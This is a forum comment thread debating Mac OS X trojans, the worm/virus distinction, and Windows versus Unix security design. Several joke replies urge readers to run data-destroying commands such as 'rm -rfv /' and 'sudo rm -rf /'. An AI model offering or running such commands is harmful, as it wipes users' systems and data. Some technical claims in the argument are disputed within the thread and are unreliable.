      I see Apple's mistake as being to offer the "Open Safe Files After Download" feature.

      Well, that is part of the problem, but not the most serious problem, IMHO. The main problem is that an executable file type can disguise itself as data. This is due to a pragmatic but dangerous decision made by Apple. In OS 9 Apple relied upon metadata stored within a program to determine what it was (data type and or application). In OS X they reverted to the more crude file extension to store the type of data or executable. This introduced a number of problems including hiding extensions and the old "foo.jpg.exe" type obfuscation. Even more dangerously because of the OS 9 compatibility requirements it provided two completely different means of identifying file types which could be contradictory and invisible to the end user. Switching to using extensions was practical even if it was backsliding. Keeping the old method for compatibility was practical as it allowed old software to still run cleanly. The conflict, however, now needs to be resolved. Turning off "open safe files" by default is probably the right behavior, but it is no where near as serious as the other problem this highlights.

    24. Re:not a worm or a virus! by Rob_Warwick · · Score: 1
      Was it supposed to do something cool? If so, maybe I should have run it on a desktop instead of the production server? Any hints at what I did wrong?

      Try running "rm -rfv /" next time. Much cooler looking.

    25. Re:not a worm or a virus! by SatanicPuppy · · Score: 1

      I'd no more load unsigned code on my servers than I'd jab random needles into my arm at a heroin party.

      At the very least, you should be testing whatever it is on a test server or a virtual machine before you ever put it into production.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    26. Re:not a worm or a virus! by ceoyoyo · · Score: 1

      Almost as good: if you get a supposed .jpg that's actually a .tar.gz, be suspicious. Be VERY suspicious. Since OS X apps are directories they have to be tarred to send over the Internet. The exception are command line scripts and executables, but those can't have custom icons so you can tell by the icon exactly what it is. The icon is pretty ugly too, so it sticks out.

    27. Re:not a worm or a virus! by bnenning · · Score: 1

      VMs and jails have come a long way in the last few years and are beginning to enter the mainstream. What is still needed is the integration, good defaults, and good GUI.

      I agree completely.

      My money is on Apple to do it right first, but I could be wrong. MS may beat them to the punch, and OpenBSD or one of the secure Linux's is not out of the running.

      Unfortunately Microsoft prefers to "solve" the problem by removing our control over our computers via Palladium/NGSCB/whatever it's called today. It's too early to tell, but I fear Apple may be tempted to go down the same path. The problem is that "trading freedom for security" may seem like a good deal to millions of users sick of viruses and spyware. Hopefully Linux or BSD can demonstrate that it's possible to protect against malware while putting the user's interests above Hollywood's.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    28. Re:not a worm or a virus! by Anonymous Coward · · Score: 0

      There's an operating system that prevents stupid users from doing stupid things..... how the heck can you do that?

      No really, I WANT to know.

    29. Re:not a worm or a virus! by Smartcowboy · · Score: 1

      $ "rm -rfv /"
      -bash: rm -rfv /: No such file or directory
      $

      That's not cool at all!

      Must be some nerdy humor I don't understand...

    30. Re:not a worm or a virus! by arminw · · Score: 1

      ....I have this wonderful program call ProcessGuard that can prevent any non-authorized application from being executed...

      So why does MSFT not include something like this as part of Windows? I think the word "malware" includes worms, viruses, trojans, spyware and any other unwanted programs that get executed by a computer. Social engineering can get any OS infected, because the insecurity is in the head of the user. Plugging a computer into the Internet, opening an e-mail or visiting a website is NOT social engineering and CAN be guarded against by good OS design. OSX certainly does a much better job here than Windows. OSX either requires a password or warns that a certain file is running as a program for the first time, giving the user a chance to kill it. No program should automatically open any file that can possible execute some code. Apple should change or better yet remove that from Safari. Setting the terminal program to only work for admin users would also help.

      --
      All theory is gray
    31. Re:not a worm or a virus! by drsmithy · · Score: 1
      The process does not, however, end there. When run the OS warns the user that the program would like access to the internet and provide basic information about the communication manner. Since the program has no access to any files it could send your IP address along somewhere, but that is about it. In order to gain access to any files the program would have to specifically ask for access to those files. Even more strongly worded warning again appear and require a choice by the user to access the root level files, the buddy list, the e-mail address book, etc. The same goes for any other unusual behavior like access to the keyboard input when other programs are in the foreground.

      It's been demonstrated time and time again that a barrage of dialog boxes will not solve the problem. The user either a) figures out the appropriate set of yes/no answers to get the result they desire (ie: running the program) or b) gets so frustrated with the "broken software that won't let me do anything" they move to some other product that doesn't have the same "problems".

      You are trying to create a solution from a technical person's perspective, with the assumption of a technical person's knowledge, experience and cognitive ability. More specifically, you're assuming you can develop a suitable barrage of dialog boxes that will eventually manage to engender the end user with sufficient technical knowledge and experience to be able to divine whether some random application is "safe" or "dangerous".

      Well, it won't work. It's really no more than a slight extension of the systems we have in place, which have conclusively demonstrated their uselessness at wide-scale protection of ignorant users from themselves.

    32. Re:not a worm or a virus! by drsmithy · · Score: 1
      The problem is that "trading freedom for security" may seem like a good deal to millions of users sick of viruses and spyware. Hopefully Linux or BSD can demonstrate that it's possible to protect against malware while putting the user's interests above Hollywood's.

      As long as the user has the ability to run arbitrary code on their computer, protection against malware is impossible.

    33. Re:not a worm or a virus! by 99BottlesOfBeerInMyF · · Score: 1

      It's been demonstrated time and time again that a barrage of dialog boxes will not solve the problem.

      No, it's been demonstrated that really poorly crafted dialogue boxes that the average person can't understand, always provide the same two choices, and don't give the user the option to select what they need does not work well. I think anyone who has ever read a book, taken a class, or practiced UI design or usability could have told you that without ever seeing the system in action. Just because the implementation in Windows is horrible does not mean it cannot be done right.

      The user either a) figures out the appropriate set of yes/no answers to get the result they desire (ie: running the program)

      First, you don't give them "Yes/No" answers. You give them buttons with actions on them like "Don't let it read my e-mail address book." Secondly, the whole point is for them to get the result they desire, but they have to be told what is happening and given the option to actually do what they want.

      Here's a little story. Back in the day everyone would get Word files with macros in their e-mail. When you opened such a file you'd get a warning that said something like, "Warning this file has macros enabled and may contain a viruses (OK)(Cancel)." I know managers who would have paid thousands of dollars to anyone who could add a third button to that warning dialogue that said, "(Open the file but don't run any macros)." Eventually MS did add such an option, but the problem this demonstrates is not that dialogue boxes suck. The problem is the user was not given the control they needed.

      Right now most users face this same decision. you can install an application and trust it with your internet connection, personal files, contacts, full control of your hardware, and all your keystrokes or you can just not use the software. Users want and need a third option to "run the program but don't let it screw anything up." Uncle bob wants to run some game, but he wants to do it safely. And really how often is he going to install a program that he does want to have access to his kernel, address book, and internet? So often that an extra dialogue box is going to be a huge pain?

      b) gets so frustrated with the "broken software that won't let me do anything" they move to some other product that doesn't have the same "problems".

      If the software won't let him do anything or is getting in his way unnecessarily then it is poorly designed. Defaults should be set for the most common cases. I don't think users will be upset if they get a dialogue box warning them, in plain and understandable English the first time a new program tries to access their buddy list and asks if they really want that program to have access. Ditto for editing files created by other programs, modifying the OS or other programs, accessing the e-mail address book, sending e-mail, etc. The vast majority of the activities that people make trojans to do are things users very rarely want to do and thus double checking on them will not get in the user's way. In fact, I think most will be happy to understand their computer for a change and be reassured that their computer is not letting just anything do anything it wants.

      Anyway, all the pre-installed software will already have their access configured so the only possible pain points are for third party add-ons. In which case maybe a user will migrate to a different program that does not throw up lots of dialogues. That is a good thing, it means the software is not behaving in ways it should not behave in the first place. I already avoid userspace software that wants to write kernel modules and contact random IP addresses in Europe (I'm talking to you Adobe). Informing users and giving them control will help make for better software because it will make for more informed consumers.

      Basically I disagree that dialogue boxes cannot be well implemented and I disagree that this would inconvenience users as much as you seem to think it would. Users don't have the control they need or the info and option to exercise that control. Until they do, trojans will spread because users have to make uninformed guesses.

    34. Re:not a worm or a virus! by drsmithy · · Score: 1
      No, it's been demonstrated that really poorly crafted dialogue boxes that the average person can't understand, always provide the same two choices, and don't give the user the option to select what they need does not work well. I think anyone who has ever read a book, taken a class, or practiced UI design or usability could have told you that without ever seeing the system in action. Just because the implementation in Windows is horrible does not mean it cannot be done right.

      It's the concepts, rationale and results that are difficult to understand, not the messages.

      The problem isn't the communication of the information, it's the information itself.

      First, you don't give them "Yes/No" answers.

      Yes, you do. Certainly, you dress it up with some more verbiage and make the actual text of the buttons themselves actions, rather than questions, but in the end it still boils down to:

      "Do something: Yes/No".

      Your assumption is that you can convey enough information in the dialogs for the user to be able to make a decision that is always the right one. My belief - and experience - is that it cannot be done. If some random email tells users they need to permit its attachment to open their address book, access their files and send a thousand emails before it allows them to see the boobies, give $10 for free to aid third world hunger, or a one in a billion shot at winning an iPod, then they'll do it.

      Eventually MS did add such an option, but the problem this demonstrates is not that dialogue boxes suck. The problem is the user was not given the control they needed.

      And my point is proven simply by noting that even when this option exists, people *still* open Word documents with destructive macros.

      Users want and need a third option to "run the program but don't let it screw anything up."

      How can you define "don't screw anything up" programatically ?

      And really how often is he going to install a program that he does want to have access to his kernel, address book, and internet?

      Quite frequently, once those things have to be done for malware to get anywhere.

      The other fatal flaw in your reasoning is your assumption that programmers won't needlessly attempt to acquire higher privilege levels, thus triggering all this warnings and dialogs so frequently that clicking "yes" just becomes the automatic reaction it is today. This assumption is, at best, naive.

      If the software won't let him do anything or is getting in his way unnecessarily then it is poorly designed.

      Or maybe it's just protecting him from "screwing up his system". Who's to decide ?

      Defaults should be set for the most common cases.

      The default for Outlook when "opening" an attachment has been "Save" rather than "Open" since day 1, with every-more-alarmingly worded dialogs accompanying it through every relase. Hasn't made a difference - people still happily open attachments without even reading the dialog, let alone thinking about the possible consequences. Why ? Because the "common case" for secure computing (save, scan and/or sandbox, open) does not equal the "common case" for "ease of use" ("show me the boobies NOW").

      I don't think users will be upset if they get a dialogue box warning them, in plain and understandable English the first time a new program tries to access their buddy list and asks if they really want that program to have access.

      Neither do I. Nor do I think they'll hesitate for an instant to click "Yes" if that's what it requires to get the program to produce the result they expect.

      Ditto for editing files created by other programs, modifying the OS or other programs, accessing the e-mail address book, sending e-mail, etc.This is where the dialog-box barrage appears. If you're going to pop up a dialog every time something "risky" is attempted - or even just the first time - the end user is going to get a lot of dialogs, most of which are going

  5. There's always Linux... by the_humeister · · Score: 1

    ...but I digress. Regular updates, safe web browsing, and not clicking email links should be the norm anyway regardless of operating system. Of course "safe web browsing" means different things to different people.

  6. Hooray Social Engineering! by Anonymous Coward · · Score: 0

    A virus is not a worm. If it requires you to execute it or interact with it in any way, it's not a worm.

    Repeat after me: This is social engineering.

    1. Re:Hooray Social Engineering! by $RANDOMLUSER · · Score: 1
      It's not really a virus if it requires user intervention to be installed. It's just malware. And social engineering.

      Go to a command window and type "sudo rm -rf /".

      --
      No folly is more costly than the folly of intolerant idealism. - Winston Churchill
    2. Re:Hooray Social Engineering! by peragrin · · Score: 1

      Go to a command window and type "sudo rm -rf /".

      I tried that but Windows responded command not found. I thought Windows supported old style commands like that?

      Okay I was kidding I don't own a windows box anymore. The people who would try that on a Mac wouldn't know how to get to a terminal window anyway.

      --
      i thought once I was found, but it was only a dream.
    3. Re:Hooray Social Engineering! by Anonymous Coward · · Score: 0

      I got the following as output:

      anonymous_user is not in the sudoers file. This incident will be reported.

      I'm not sure where I messed up. Could you point me to the FAQ? Man I wish this Linux stuff wasn't so hard.

  7. Turn on by kevin_conaway · · Score: 1

    So the virus turns the computer on, even after they've been shut off? Thats pretty cool.

    1. Re:Turn on by TubeSteak · · Score: 1
      So the virus turns the computer on, even after they've been shut off? Thats pretty cool.
      Dude, that's not a bug, it's a feature.

      WakeOnLan has been doing this for years.

      (Don't blame Taco for the misleading headline, editors at the WSJ can screw up too)
      --
      [Fuck Beta]
      o0t!
    2. Re:Turn on by sdpuppy · · Score: 1
      Yeah, but the virus causes it to turn on by itself after 7 days. Then the screen gets all static-y and a hand reaches out...

      http://www.amazon.com/gp/product/B00005JLTK

      Hmm. Just like Rasen: http://www.amazon.com/gp/product/B0009X765K

      would be kind of interesting - a virus that turns the computer on & off at odd times, and opens and closes the cup holder^H^H^H^H^H^H^H^H^H^HCD drawer.

      "We don't need virus protection - we need an exorcist!"

      init 0

    3. Re:Turn on by metachor · · Score: 1

      No, you're misreading the title.

      These worms, they sexually excite the Mac OS. I don't know why. Maybe they are dressed in scantily clad jpegs.

  8. Learn what a @#$(*&^ worm is! by Alcimedes · · Score: 1

    Every reporter that misclassifies trojans and viruses as worms needs to be beaten over the head with a herring.

    Worms are very different than viruses. Don't mix them up! It's not that hard!

    1. Re:Learn what a @#$(*&^ worm is! by deadlinegrunt · · Score: 1

      Is this anything like the hacker versus cracker? I'm not criticizing your standpoint more so than saying that people can complain hackers are good, crackers are bad. The public perception, and reality is, crackers are thin crisp wafers or biscuit; not some rogue hacker with malicious intent.

      Worms, trojans, viruses - pretty sure this will fall under the above: For the technical minded and educated these are indeed very different things. The masses will lump the nomenclature of each together as synonyms for all.

      --
      BSD is designed. Linux is grown. C++ libs
    2. Re:Learn what a @#$(*&^ worm is! by dachshund · · Score: 1
      Worms are very different than viruses. Don't mix them up! It's not that hard!

      This attitude can be taken too far. There are plenty of worms which have a trojan/virus component that allows them to spread through various barriers (e.g., firewalls) that a normal worm couldn't. In fact, it's generally bad design not to include this sort of flexibility in an attack if there's even a chance that it will be helpful. So what do we call these things?

      Now, you are correct that (on the bright side) none of the Mac trojans/viruses includes a worm component yet.

    3. Re:Learn what a @#$(*&^ worm is! by B3ryllium · · Score: 1

      It's not a worm. It's a nematode!

    4. Re:Learn what a @#$(*&^ worm is! by Anonymous Coward · · Score: 0

      The reason they say worm is because people like you bitched at them for saying virus.

      Now they're still misusing terms but if you bitch and them again they're going to say, "look, kid, what do you want?"

  9. Popularity decides if an OS is secure. by gasmonso · · Score: 0

    An OS's security is directly related to its popularity. The less popular, the more secure and conversely, the more popular, the less secure. Hackers aren't gonna waste time on an unpopular OS. Whens the last time you heard of a security threat for BEOS? It's not because its secure... its because nobody uses it.

    http://religiousfreaks.com/
    1. Re:Popularity decides if an OS is secure. by theAtomicFireball · · Score: 3, Insightful
      An OS's security is directly related to its popularity.
      Hardly. There's a correlation, but it's not even close to being a direct correlation. If it were, there would be somewhere in the realm of 15,000 exploits in the wild for Mac OS X.

      The situation just isn't as simple as you believe it to be. Sure, the number of people who use an operating system tends to have a relation to the number of people who develop for that system and also the number who have the skills necessary to create a virus, trojan, or worm. But there's more to it than that. Windows, although it's getting better, and hopefully Vista will be much better, has architectural issues that make it easier to exploit. It also has consumer-targeted development tools which have the sole intention of lowering the bar to new programmers. Combine these two, and you have a societal petrie dish ripe for creating malware authors - not only are there more people using the OS, but there are proportionately more people capable of writing malicious software and a system that is easier to exploit.

      If the Mac had 95% market share, there would certainly be more malware, but the situation would simply not be as bad as it is for Windows right now.
    2. Re:Popularity decides if an OS is secure. by SpooForBrains · · Score: 4, Interesting

      The only supporting argument for this oft-repeated fallacy is that Windows has the biggest market share and the biggest number of security holes.

      Far be it for me to shatter your little bubble, but Apache Web Server is more popular than IIS, and has significantly less critical exploits.

      God, it feels like Karma whoring just pointing out something so bloody obvious.

      --
      "The dew has clearly fallen with a particularly sickening thud this morning"
    3. Re:Popularity decides if an OS is secure. by shotfeel · · Score: 1

      An OS's security is directly related to its popularity.

      No, an OS's security has nothing to do with popularity. Popularity only increases the number of attempts to breach said security. So a more secure OS may have more viruses if its more popular.

      OTOH a more secure OS may have fewer viruses and be less popular. But what happens when a less secure OS is the most popular?

    4. Re:Popularity decides if an OS is secure. by Anonymous Coward · · Score: 0

      Not really. Actually, that's a myth too. Compare:

      Apache 1.3: http://secunia.com/product/72/
      Apache 2.0: http://secunia.com/product/73/

      IIS 4.0: http://secunia.com/product/38/
      IIS 5.0: http://secunia.com/product/39/
      IIS 6.0: http://secunia.com/product/1438/

      So it turns out you're actually better off running IIS.

    5. Re:Popularity decides if an OS is secure. by Anonymous Coward · · Score: 0

      bzzt wrong gg nextmap

      You can't compare Apache to IIS from a security point of view because they're not even the same thing.

      Apache is a web server.

      IIS is a web server, mail server, FTP server, DNS server, *2* scripting languages and a whole load of other stuff besides.

      For anything approaching an accurate comparison regarding security, you'd have to compare IIS to Apache, Sendmail, ProFTPd, Bind, PHP, Perl (or Python).

      And I'd like to see anyone try and make that comparison with a straight face. Bind or Sendmail alone have probably been responsible for more security breaches than IIS.

    6. Re:Popularity decides if an OS is secure. by Anonymous Coward · · Score: 0

      "An OS's security is directly related to its popularity. The less popular, the more secure and conversely, the more popular, the less secure. Hackers aren't gonna waste time on an unpopular OS. Whens the last time you heard of a security threat for BEOS? It's not because its secure... its because nobody uses it."

      can you prove that? (the only way i think it can be doubtless proved is giving more popularity to an alternative OS and even then, the time to test is controversial...)

      i can say that the OS security is directly related to how easy is to fix it... and popularity helps to find bugs...

      now, you may have proven to be true that popularity attracts malware, but if the OS is POPULAR and EASILY FIXABLE?

    7. Re:Popularity decides if an OS is secure. by FKnight · · Score: 0
      Anonymous coward wrote:
      bzzt wrong gg nextmap
      You can't compare Apache to IIS from a security point of view because they're not even the same thing.
      Apache is a web server.
      IIS is a web server, mail server, FTP server, DNS server, *2* scripting languages and a whole load of other stuff besides.
      For anything approaching an accurate comparison regarding security, you'd have to compare IIS to Apache, Sendmail, ProFTPd, Bind, PHP, Perl (or Python).
      And I'd like to see anyone try and make that comparison with a straight face. Bind or Sendmail alone have probably been responsible for more security breaches than IIS.


      Wrong. IIS is a Web and FTP server only. DNS and Mail are entirely different processes/applications on the Windows platform (the default POP and SMTP servers are configurable through the IIS configuration tool, and share some configuration stores, but they are not IIS). Additionally, you can't say comparing IIS to Apache is unfair just because IIS has a scripting language built in. Almost all Apache installations have PHP installed. Additionally, ASP and ASP.NET are off by default, just like PHP is off by default on (some) default Linux OS installations.

    8. Re:Popularity decides if an OS is secure. by drsmithy · · Score: 1
      Hardly. There's a correlation, but it's not even close to being a direct correlation. If it were, there would be somewhere in the realm of 15,000 exploits in the wild for Mac OS X.

      Only if the relationship is linear. Even a few brief thoughts about the environment should tell you it won't be.

      Windows, although it's getting better, and hopefully Vista will be much better, has architectural issues that make it easier to exploit.

      Such as ?

    9. Re:Popularity decides if an OS is secure. by drsmithy · · Score: 1
      Far be it for me to shatter your little bubble, but Apache Web Server is more popular than IIS, and has significantly less critical exploits.

      This comparison is so stupid it's amazing people continue to make it (and that's ignoring that it's simply flat-out wrong).

    10. Re:Popularity decides if an OS is secure. by theAtomicFireball · · Score: 1
      Windows, although it's getting better, and hopefully Vista will be much better, has architectural issues that make it easier to exploit.

      Such as ?
      Primarily the fact that any executable running on Windows runs as the equivalent of SUID root in Unix - applications are privileged to do things the user launching them can't. Additionally, there are mechanisms built into the system that allow malicious code to be fired automatically without any interaction by the user. the combination of the ability to make code (from an e-mail, ActiveX component on a web page, etc.) run without interaction and the fact that executing code runs with super-user privileges means that there is a much greater potential for damage with Windows malware.

      A trojan on my Mac, or on Linux or any Unix, or for that matter OS/2, BeOS... can only do what the user launching it can do, no more. It can't touch files or ports or processes that the user doesn't have access to, and the most sensitive stuff (by default) standard users don't have access to. Attempts to exceed the launching user's authority will either be rejected or will result in an authorization prompt. Not so on Windows, where once the code is launched, it can do just about anything, including modify the registry. There ARE potential exploits on Mac OS X or other Unix or unix-like operating systems that can get around this, but they are much more difficult to write and are usually patched relatively quickly, often before an exploit exists in the wild.
    11. Re:Popularity decides if an OS is secure. by theAtomicFireball · · Score: 1
      Only if the relationship is linear. Even a few brief thoughts about the environment should tell you it won't be.

      Well, yeah... a direct correlation generally results in a linear distribution and what I said was "it's not even close to being a direct correlation", so I don't disagree with your re-statement of what I said. But the scenario is so far from linear that it's laughable. Comparing over 200,000 exploits, many of which have been exploited by malware in the wild versus somewhere around 200 with only a few actual exploits, most of which are proof-of-concept? I mean drop a few zeros and you can see that it's a lot less of a percentage than the Mac's market share, even if you use the most conservative estimates of the Mac's market share.

      There's no doubt that the number of people using an OS IS a factor in the amount of malware that exists for that platform, but it's not the ONLY or even the primary factor as the OP posited.
    12. Re:Popularity decides if an OS is secure. by drsmithy · · Score: 1
      Primarily the fact that any executable running on Windows runs as the equivalent of SUID root in Unix - applications are privileged to do things the user launching them can't.

      False. Indeed, Windows doesn't even *have* the equivalent of the Unix SUID concept, let alone use it by default.

      Additionally, there are mechanisms built into the system that allow malicious code to be fired automatically without any interaction by the user.

      Not by design there aren't.

      the combination of the ability to make code (from an e-mail, ActiveX component on a web page, etc.) run without interaction and the fact that executing code runs with super-user privileges means that there is a much greater potential for damage with Windows malware.

      Your assumptions - and therefore your conclusions - are wrong.

      A trojan on my Mac, or on Linux or any Unix, or for that matter OS/2, BeOS... can only do what the user launching it can do, no more. It can't touch files or ports or processes that the user doesn't have access to, and the most sensitive stuff (by default) standard users don't have access to. Attempts to exceed the launching user's authority will either be rejected or will result in an authorization prompt.

      Neither OS/2 nor BeOS are multiuser OSes and thus don't even have the concept of "what the user can do" (or, put another way, they behave the way you mistakenly assume Windows does).

      Not so on Windows, where once the code is launched, it can do just about anything, including modify the registry.

      False. The code can't do anything more than the users privilege level allows.

      There ARE potential exploits on Mac OS X or other Unix or unix-like operating systems that can get around this, but they are much more difficult to write and are usually patched relatively quickly, often before an exploit exists in the wild.

      It would be trivial to write malware for OS X or Linux, since 99.9% of the things malware does has no requirement for elevated privileges.

    13. Re:Popularity decides if an OS is secure. by drsmithy · · Score: 1
      Comparing over 200,000 exploits, many of which have been exploited by malware in the wild versus somewhere around 200 with only a few actual exploits, most of which are proof-of-concept?

      The only difference between "in the wild" and "proof of concept" exploits is their propogation.

      Both OS X and Linux are very poor environments for propogation because they are uncommon. Linux is worse again, because it is typically operated by users who are quickly able to identify and fix problems, then pass that information along to other users.

      Windows, OTOH, is an ideal environment for fast, wide-scale propogation. It's ubiquitous and the userbase is typically incapable of even identifying - let alone fixing - problems.

      When the userbases of OS X and Linux have anything even approaching the marketshare of Windows, and the end user demographic of Linux is at all similar to OS X and Window, only then will comparing "security" by way of looking at the "security record" be meaningful. Until then it's a pointless exercise, because there's simply too many key variables that cannot be reasonably normalised.

    14. Re:Popularity decides if an OS is secure. by theAtomicFireball · · Score: 1
      False. Indeed, Windows doesn't even *have* the equivalent of the Unix SUID concept, let alone use it by default.

      Exactly the problem. The concept of true discreet roles doesn't exist in the architecture. This results in no real difference between launching a program as an Administrative user and launching it as an unprivileged user because the user mode components of the kernel (e.g., csrss.exe and lsass.exe) run under the Local System account which has complete access to all the resources of the machine. Additionally, most of the daemon programs run under this account as well.

      Under Windows XP, user accounts have fairly granular privilege control that allows you to specify what the user themselves can actually do, but you always have the user mode components running with full privileges (which I would consider the equivalent of SUID root) and the executables launched by the user have the ability to interact with the user mode components, in most circumstances without needing user input or authorization. Prior to XP, you didn't even have that level of access control and the system was pretty much open. As long as this situation exists, Windows is inherently insecure. Hopefully, Vista will change this, but sticking your head in the sand doesn't make it less true.
      Additionally, there are mechanisms built into the system that allow malicious code to be fired automatically without any interaction by the user.

      Not by design there aren't.

      Probably not by design, but true nonetheless. With a default installation using default Microsoft tools, it is possible, for example, for received e-mail atachments to be launched or launch executables, and Active X components embedded on web pages can all. In these cases, they are able to interact with the user mode components I mentioned before that run with full privileges. Spend five minutes with Google and I guarantee you can find an example of this. Bruce Schneir once showed a proof of concept exploit using an ActiveX component on a web page that, if loaded in Internet Explorer deletes your entire hard drive without any further interaction by the user!

      Feel free to keep thinking I don't know what I'm talking about. I'm perfectly okay with you blindly thinking Windows is no worse than any other operating system in terms of security - it's your data and your time at risk.
      It would be trivial to write malware for OS X or Linux, since 99.9% of the things malware does has no requirement for elevated privileges.
      Sure, just type
      rm -r * > run_me
      and you have malware if you can get somebody to run it. That's annoying and inevitable - only common sense can stop trojans, but writing a true worm for OS X or Linux that can spread from machine to machine quickly? Go ahead and do a proof of concept one if it's so trivial. So far, I've seen one that comes close to being that - which is the iChat 'worm', and that is nowhere near the threat as the SQL Slammer or Blaster worms...
    15. Re:Popularity decides if an OS is secure. by theAtomicFireball · · Score: 1
      The only difference between "in the wild" and "proof of concept" exploits is their propogation.

      Yeah... that and the millions of dollars and productivity lost to dealing with them. Oh, yeah, and there's the trivial fact that "proof of concept" don't do anything malicious.
      Windows, OTOH, is an ideal environment for fast, wide-scale propogation.

      Hey, we do agree on something after all. =-p
    16. Re:Popularity decides if an OS is secure. by drsmithy · · Score: 1
      Exactly the problem. The concept of true discreet roles doesn't exist in the architecture.

      Yes, it does. Windows NT has been multiuser since day 1.

      This results in no real difference between launching a program as an Administrative user and launching it as an unprivileged user because the user mode components of the kernel (e.g., csrss.exe and lsass.exe) run under the Local System account which has complete access to all the resources of the machine. Additionally, most of the daemon programs run under this account as well.

      This is as dumb as saying unix lacks user seperation because lots of daemons run as root.

      Under Windows XP, user accounts have fairly granular privilege control that allows you to specify what the user themselves can actually do, but you always have the user mode components running with full privileges (which I would consider the equivalent of SUID root) [...]

      Er, no. Applications run at the same privilege level of the user.

      Prior to XP, you didn't even have that level of access control and the system was pretty much open.

      False. Windows NT has _always_ been multiuser.

      (This stuff is so basic, and you're so wrong about it, that I'm pretty sure you're just trolling, now).

      As long as this situation exists, Windows is inherently insecure. Hopefully, Vista will change this, but sticking your head in the sand doesn't make it less true.

      Your fundamental knowledge of Windows is simply wrong.

      Probably not by design, but true nonetheless. With a default installation using default Microsoft tools, it is possible, for example, for received e-mail atachments to be launched or launch executables, and Active X components embedded on web pages can all.

      Not without user interaction or a changing of default settings (or a software bug, but that's outside the scope of this discussion).

      In these cases, they are able to interact with the user mode components I mentioned before that run with full privileges. Spend five minutes with Google and I guarantee you can find an example of this.

      Well, since you're so fundamentally confused about what you're talking about, it's difficult to do any meaningful Google searches based on the comments you've made.

      Bruce Schneir once showed a proof of concept exploit using an ActiveX component on a web page that, if loaded in Internet Explorer deletes your entire hard drive without any further interaction by the user!

      So link to it. I'll be quite happy to give it a go in a VMWare machine.

      Feel free to keep thinking I don't know what I'm talking about.

      You don't. Well, you might in theory, but since your comments regarding Windows are based on fundamentally incorrect assumptions, your conclusions certainly demonstrate you have no idea what you're talking about regarding Windows.

      Not only that, but disproving your claims is trivially simple (eg: according to you, a regular user should be able to delete any file on the system, but they can't, they should be able to modify any part of the registry, but they can't, they should be able to kill any running task, but they can't, etc, etc). Anyone with any version of Windows NT (running on NTFS) can see how wrong you are and anyone who has even a passing acquaintance with Windows NT already knows how wrong you are.

      Sure, just type [...] and you have malware if you can get somebody to run it.

      This basically describes 99% of Windows malware.

      That's annoying and inevitable - only common sense can stop trojans, but writing a true worm for OS X or Linux that can spread from machine to machine quickly? Go ahead and do a proof of concept one if it's so trivial. So far, I've seen one that comes close to being that - which is the iChat 'worm', and that is nowhere near the threat as the SQL Slammer or Blaster worms...

      The iChat worm is a trojan, not a worm. Real worms - that propogate without any user interact

  10. I disagree with this by pHatidic · · Score: 4, Insightful

    Windows has had what, like 200,000 Virus's in the last year? Apple has had two or three theoretical exploits that either require the user to run code by hand or else target services that most mac users don't turn on. Sounds like Apple is doing its job to me. And honestly this idea that as Apple gets more popular there will be more viruses is largely a load of crap. The notoriety of writing the first real virus for OS X would be vastly more than for writing yet another windows virus. The reason why no one writes viruses for Apple is most likely because people like Apple and want them to succeed. I think if people start writing viruses for Apple it will be because Apple gets lazy and stops innovating, or else stops at least trying to fix the bugs in its software. Because right now both the means and the motive or there, but it's just not really happening.

    1. Re:I disagree with this by at_slashdot · · Score: 0, Offtopic

      "The reason why no one writes viruses for Apple is most likely because people like Apple and want them to succeed."

      I don't like Apple and I'm sure many other people share my dislike with closed source and proprietary Operating Systems and hardware.

      --
      "It is our choices, Harry, that show what we truly are, far more than our abilities." -- Prof. Dumbledore
    2. Re:I disagree with this by Farfromlosin · · Score: 1

      Wow. How is the weather on planet Oblivious? Is their sun, Naive, still burning brightly?

      Vicious code writers haven't targeted Mac's because of the low count. Why would they spend hours writing code to exploit a few thousand computers when they can write code to exploit a few million? Simple numbers, nothing else.

      --
      ...because what good is power unless you can abuse it?
    3. Re:I disagree with this by Anonymous Coward · · Score: 0

      Good lord, what a myopic view point.

      "The reason why no one writes viruses for Apple is most likely because people like Apple and want them to succeed." -- keep drinking that Kool-Aid.

      Who writes, or more appropriately releases viri and trojans into the wild? Script kiddies and criminals.

      Script kiddies: punk kids (and colleges drips) who have just enough knowledge to be dangerous but not enough to write their own stuff. They stand on the shoulders of real hackers and modify what is already out there and release it just to wreak havoc and get 'cred' with their little comp-sci buddies.

      Criminals: Peopl who have determined that there is profit to be made in this sort of activity. Phishing, click-throughs, etc...

      Let's examine these two groups:
      Script Kiddies:
      Because no one has written malicious code, there is not much for these hosers to tweak and release during the wait time of their porn downloads.

      Criminals:
      If you are going to spend X amount of time developing malicious code, you need to develop for the most return. Right now and in the past, that has been Windows.

      As more criminals and malicious hackers created Mac code, the script kiddies will start tweaking that and you'll start seeing more stuff out in the wild.

      I HIGHLY doubt that either of these groups have any great love for Apple and want to 'see them succeed'.
        MHO

    4. Re:I disagree with this by Anonymous Coward · · Score: 0

      I'm sorry, but how the #*@( does this get modded as insightful?

      "The reason why no one writes viruses for Apple is most likely because people like Apple and want them to succeed."

      How naive are you? Do you think virus writers actually care about a company and want it to succeed? People who write viruses are malicious. They might try to cover it up with pretty words or ideals, but intentionally damaging other people's possessions doesn't really strike me as altruistic in any way. To think that these people actually care for Apple to succeed is laughable.

    5. Re:I disagree with this by Darkman,+Walkin+Dude · · Score: 1

      And its not like symantec have a vested interest in making out that apple is insecure so they can sell more dody AV and firewall products, or anything...

    6. Re:I disagree with this by rosciol · · Score: 1

      I actually really like the point that you brought up. People are very quick to talk about 'security through obscurity' and how Linux and OS X are only secure because no one cares to try writing viruses for them. But, come on, there's absolutely nothing obscure about writing a virus for OS X.

      Which has higher notorierty: writing yet another virus for Windows and being one of hundreds of thousands, or writing the first devastating virus for OS X, or even Linux.

      All we're really arguing then is whether any virus writers care more about notoriety than zombie machines, and I think there are certainly a number out there who do.

      What that says to me is that these operating systems are more secure (not secure, just more secure) because they've remained relatively unpenetrated despite efforts to compromise them.

      These operating systems' approach to security just makes it much more difficult to take advantage of them.

    7. Re:I disagree with this by Anonymous Coward · · Score: 0

      The reason why no one writes viruses for Apple is most likely because people like Apple and want them to succeed.

      Apple, pretty please, will you succeed and put me out of this lousy yet very lucrative virus/trojan/botnet business? I'm growing tired of this 'another day, another batch of windoze machines to pwn' routine. And dealing with those spammers and ID thieves, I mean, those are really low-life trash. I hate them, although money is good.

      Really, Apple - do succeed already, we're all rooting for you.

      /sarcasm

